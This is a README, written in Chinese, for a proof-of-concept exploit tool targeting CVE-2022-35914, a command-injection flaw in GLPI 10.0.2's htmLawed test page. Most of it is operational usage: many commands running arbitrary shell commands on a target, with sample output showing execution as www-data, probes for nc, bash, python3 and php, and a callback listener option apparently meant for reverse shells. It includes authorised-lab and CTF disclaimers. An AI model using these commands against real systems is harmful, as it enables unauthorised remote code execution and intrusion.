针对 CVE-2022-35914 的 PoC,这是一个涉及存在漏洞的 GLPI 安装中 htmLawed 测试组件的命令注入漏洞。
该工具通过存在漏洞的端点提供命令执行功能,并包含用于授权实验环境的可选回调功能。
免责声明: 本项目仅供授权安全测试、CTF、OffSec/PG 实验环境以及教育目的使用。请勿在未经明确授权的系统上使用。
| 字段 | 详情 |
|---|---|
| CVE | CVE-2022-35914 |
| 软件 | GLPI v.10.0.2 |
| 组件 | htmLawed |
| 存在漏洞的端点 | /vendor/htmlawed/htmlawed/htmLawedTest.php |
在受影响的安装中,存在漏洞的组件可能允许通过构造的参数执行命令。
Python 3 及所需依赖。
sudo apt install python3-requests python3-bs4
python3 -m venv venv
source venv/bin/activate
pip install requests beautifulsoup4
克隆仓库:
git clone https://github.com/cyb3rk0ala/CVE-2022-35914.git
cd CVE-2022-35914
使脚本可执行:
chmod +x glpi.py
python3 glpi.py -h
python3 glpi.py -u TARGET_IP -c 'id'
示例输出:
[*] Target: http://TARGET_IP:80/vendor/htmlawed/htmlawed/htmLawedTest.php
========== COMMAND OUTPUT ==========
uid=33(www-data) gid=33(www-data) groups=33(www-data)
====================================
-c 选项指定要执行的命令。
python3 glpi.py -u TARGET_IP -c 'whoami'
python3 glpi.py -u TARGET_IP -c 'id'
python3 glpi.py -u TARGET_IP -c 'uname -a'
python3 glpi.py -u TARGET_IP -c 'which bash'
python3 glpi.py -u TARGET_IP -c 'which python3'
python3 glpi.py -u TARGET_IP -c 'which php'
python3 glpi.py -u TARGET_IP -c 'which nc'
| 选项 | 描述 | 默认值 |
|---|---|---|
-u, --url | 目标 URL 或 IP 地址 | 必填 |
-c, --cmd | 要执行的命令 | id |
--check | 检查目标而不执行命令 | 禁用 |
--user-agent | 自定义 HTTP User-Agent | 默认 |
-p, --rport | 目标 HTTP 服务端口 | 80 |
-l, --lhost | 回调/监听 IP 地址 | — |
-lp, --lport | 回调/监听端口 | — |
-p / --rport 选项指定存在漏洞的 GLPI Web 服务所运行的端口。
默认:
80
示例:
python3 glpi.py -u TARGET_IP -p 80 -c 'id'
使用 --check 可在不执行命令的情况下验证 htmLawed 测试页面是否可访问:
python3 glpi.py -u TARGET_IP --check
可通过以下方式提供自定义 HTTP User-Agent:
python3 glpi.py \
-u TARGET_IP \
--user-agent 'Mozilla/5.0'
该脚本支持可选的回调参数:
-l Callback/listener IP
-lp Callback/listener port
示例:
python3 glpi.py \
-u TARGET_IP \
-p 80 \
-l LHOST \
-lp 80
在此示例中:
Target: TARGET_IP:80
Callback: LHOST:80
这两个端口具有不同的用途:
-p = Target GLPI HTTP port
-lp = Callback/listener port
在 OffSec 实验环境中测试时,回调通过 TCP 端口 80 成功工作。
其他回调端口(例如 4444)可能会因实验网络和出站过滤而超时。
对于所测试的环境:
python3 glpi.py \
-u TARGET_IP \
-p 80 \
-l LHOST \
-lp 80
监听器配置在 Kali VPN 接口上,使用 TCP 端口 80。
重要: 使用端口 80 进行回调是特定于该环境的观察结果。这不是 CVE-2022-35914 的要求。
首先验证命令执行:
python3 glpi.py -u TARGET_IP -c 'id'
检查所需工具是否存在:
python3 glpi.py -u TARGET_IP -c 'which bash'
python3 glpi.py -u TARGET_IP -c 'which python3'
python3 glpi.py -u TARGET_IP -c 'which php'
python3 glpi.py -u TARGET_IP -c 'which nc'
如果命令执行正常但回调超时,请检查 VPN 路由和回调端口。
如果命令输出解析失败,完整的 HTTP 响应会保存到:
/tmp/glpi.html
使用以下命令检查:
less /tmp/glpi.html
或:
mousepad /tmp/glpi.html
python3 glpi.py \
-u TARGET_IP \
--check
python3 glpi.py \
-u TARGET_IP \
-c 'id'
python3 glpi.py \
-u TARGET_IP \
-c 'whoami'
python3 glpi.py \
-u TARGET_IP \
-c 'which nc'
对于所测试的 OffSec 实验环境:
python3 glpi.py \
-u TARGET_IP \
-p 80 \
-l LHOST \
-lp 80
本项目仅供教育和授权安全测试目的提供。
作者不对涉及本软件的任何滥用、损害、未经授权的访问或非法活动负责。
在测试系统之前,请务必获得明确授权。
cyb3rk0ala
CVE-2022-35914
CVE-2022-35914 by cyb3rk0ala